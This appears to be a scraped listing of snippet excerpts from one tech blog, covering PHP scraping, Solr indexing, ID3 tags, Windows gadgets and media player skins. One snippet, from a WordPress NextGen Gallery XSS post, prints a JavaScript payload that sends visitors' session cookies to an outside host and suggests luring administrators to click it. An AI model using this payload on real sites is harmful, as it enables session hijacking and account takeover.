http://digitalpbk.com/php/file_get_contents-garbled-gzip-encoding-website-scraping
PHP file_get_contents giving garbled output
Are you getting garbled values when using file_get_contents fetching an external
URL (website scrapping using php) and wondering what went wrong ? The content is appearing to have wierd characters instead of normal HTML output because of GZIP output encoding by the website you are fetching.
You can fix this issue in multiple ways.
Method 1 : Accept-Encoding
In this method we set the request headers so that the webserver is forced to respond ...
Published 2 years, 2 months ago
http://digitalpbk.com/apachesolr/apache-solr-mysql-sample-data-config
Solr using java -jar start.jar.
Hit the full-commit
url (http://SERVER:PORT/solr/dataimport?command=full-import) and your website would start getting indexed.
0
0
data-config.xml
full-import
idle
1
1056
0
2010-02-22 14:46:35
Indexing completed. Added/Updated: 1056 documents. Deleted 0 documents.
2010-02-22 14:46:42
2010-02-22 14:46:42
1056
0:0:6.562
This response format is experimental. It is likely to change in the future.
:)
N documents fetched 0 documents processed ...
Published 2 years, 2 months ago
http://digitalpbk.blogspot.com/2009/07/wordpress-nextgen-gallery-xss.html
code can be put for stealing the cookie:(new Image()).src = 'http://labs.kitiyo.com/store.php?cookie='+document.cookie+'&location;='+window.location;window.location = &
quot;URL back to the page";Then post this link accessible to site administrators or other registered users to click and hand us over their session cookies ;)I am infected now what to do? (for webmaster)The XSS is due to blindly allowing to print the $_GET variable onto the title. The makers of this plug ...
Published 2 years, 10 months ago
http://digitalpbk.blogspot.com/2007/03/mp3-id3-tag.html
of useUSLT Unsynchronised lyric/text transcriptionWCOM Commercial informationWCOP Copyright/Legal informationWOAF Official audio file webpageWOAR Official artist/performer webpageWOAS Official audio source webpageWORS Official Internet radio station homepageWPAY PaymentWPUB Publishers official webpageWXXX User defined
URL link frameReference from id3v2.4.0-frames.txt from id3.orgFrame FlagsFlag1 : Frame Status FlagsMSB: Bit8 : Not Used Must be 0 Bit7 : If SET the Frame is discarded when a change ...
Published 5 years, 2 months ago
http://digitalpbk.com/windows-gadgets/how-make-windows-gadget-windows-7
()
{
var oBackground = document.getElementById("imgBackground");
oBackground.src =
"url(images/bg.png)";
var oContent = document.getElementById("gadgetContent");
if (System.Gadget.Settings.read("SettingExist") == true)
timeLeft = System.Gadget.Settings.read("settingsTimeOut");
else
timeLeft = 600;
iid ...
Published 1 year, 6 months ago
http://digitalpbk.blogspot.com/2006/12/how-to-make-windows-media-player-skins.html
, and add your own custom text.Finally adding a link in the skin to our site: Show/Hide CodehoverImage="logo_over.png" downImage="logo.png"
onClick="jscript:player.launchURL('http://digitalpbk.blogspot.com/')" upToolTip="Visit blog" cursor="hand" />Similarly you can add a custom slide bar for navigation, add buttons to provide for next and previous etc. More tags and javascript functions and other exciting effects like playing sound can ...
Published 5 years, 5 months ago